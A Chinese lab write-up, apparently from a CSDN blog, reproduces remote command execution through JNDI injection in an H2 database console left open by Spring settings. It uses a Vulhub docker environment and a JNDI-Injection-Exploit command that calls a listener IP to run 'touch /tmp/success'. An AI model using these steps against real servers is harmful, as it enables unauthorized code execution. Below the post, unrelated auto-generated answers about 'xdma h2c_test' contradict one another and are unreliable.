H2database-未授权访问漏洞复现

漏洞描述
产生原因
环境搭建
漏洞复现

漏洞描述

H2 database是一款Java内存数据库,多用于单元测试。

默认端口:20051

产生原因

H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

环境搭建

执行如下命令启动一个Springboot + h2database环境:

docker-compose up -d

启动后,访问http://your-ip:8080/h2-console/即可查看到H2 database的管理页面。

在这里插入图片描述

漏洞复现

  1. 下载JNDI-Injection-Exploit

    https://github.com/welk1n/JNDI-Injection-Exploit

  2. 生成执行RMI Payload-URL

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 49.232.65.159

在这里插入图片描述

  1. 填入URL提交执行,点击连接

在这里插入图片描述

在这里插入图片描述

  1. 总结

    通过JDBC URL地址远程加载exp,java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 49.232.65.159作用就是开启监听并执行命令,-C为执行的命令,-A为监听机的ip地址

参考链接

Vulhub - Docker-Compose file for vulnerability environment

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: xdma h2c-_test是一种通信接口协议,用于在数据传输过程中将数据从主机传输到外设。其中,xdma代表可扩展的直接内存访问(eXtended Direct Memory Access),用于提供高性能的数据传输,而h2c代表从主机到外设(Host to Card)的传输方式,_test表示这是一个测试版本。 在使用xdma h2c-_test协议时,主机可以通过直接内存访问技术将数据从主机内存传输到外设(如显卡、网络接口卡等)。这种方式能够提供高带宽和低延迟的数据传输,适用于需要快速处理大量数据的应用场景。 xdma h2c-_test协议的实现可能需要通过特定的驱动程序和软件库来完成,这些软件工具可以帮助主机与外设进行通信和数据传输。用户可以根据具体需求配置传输的参数,如传输方向、数据大小、起始地址等。 需要注意的是,xdma h2c-_test通常为测试版本,可能存在一些局限性或不稳定的问题。因此,在实际应用中,建议使用更稳定和成熟的版本来确保数据传输的可靠性和性能。 总之,xdma h2c-_test是一种用于高性能数据传输的通信接口协议,适用于需要快速传输大量数据的应用场景,并且可以通过特定的驱动程序和软件库来实现。 ### 回答2: xdma h2c-_test 是一种数据传输协议,它在计算机之间传输数据时使用。具体来说,xdma表示通过DMA(直接内存访问)引擎进行数据传输,而h2c表示从主机(host)到协处理器(co-processor)的数据传输,-test则表示这是一种用于测试的传输方式。 在计算机系统中,DMA引擎可以在主机和协处理器之间直接传输数据,而无需CPU的干预。这样可以提高数据传输的效率和性能。xdma h2c-_test 协议就是利用这一特性,提供一种高效的数据传输方式。 通过这种协议,主机可以将数据发送到协处理器,协处理器可以将数据存储在自己的内存中,并进行相应的处理。这种方式在处理大量数据或需要高速传输的应用中非常有用,例如图像处理、信号处理等。 使用xdma h2c-_test协议进行数据传输需要在主机和协处理器之间建立合适的硬件和软件环境,包括配置DMA引擎、编写相应的驱动程序等。通过合理的设置和优化,可以实现数据传输的最佳性能。 总之,xdma h2c-_test是一种用于测试的数据传输协议,通过利用DMA引擎实现主机到协处理器的高效数据传输。它在处理大量数据和需要高速传输的应用中具有重要的作用。 ### 回答3: xdma h2c-_test是一个Xilinx设计工具中的一个核心功能,用于进行高性能数据传输。xdma代表跨域DMA,是一种用于在不同的处理器之间高速传输数据的技术。h2c-_test则代表从主机(Host)到片上设备(FPGA)的数据传输测试。 在FPGA设计中,数据传输是一个非常重要的任务,特别是在高性能计算和数据处理领域。xdma h2c-_test提供了一种简单而有效的方法来测试FPGA系统的数据传输性能。 通过xdma h2c-_test,我们可以将数据从主机传输到FPGA中的特定逻辑模块。这个测试可以帮助我们评估数据传输的吞吐量、延迟以及系统的稳定性。 xdma h2c-_test的实现通常需要以下步骤: 1. 配置主机和FPGA之间的数据通道(此处为h2c)。 2. 在主机上编写相应的测试程序,用于生成测试数据,并将其通过h2c通道发送到FPGA。 3. 在FPGA上编写接收数据的逻辑,并进行数据处理或存储。 4. 在测试过程中,可以记录数据传输的性能指标,例如传输速度和延迟。 5. 根据测试结果,可以根据需要进行性能优化或修改设计。 综上所述,xdma h2c-_test是一种用于测试主机到FPGA的高性能数据传输性能的工具。通过该工具,我们可以评估FPGA系统的数据传输性能,并根据测试结果进行性能优化。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值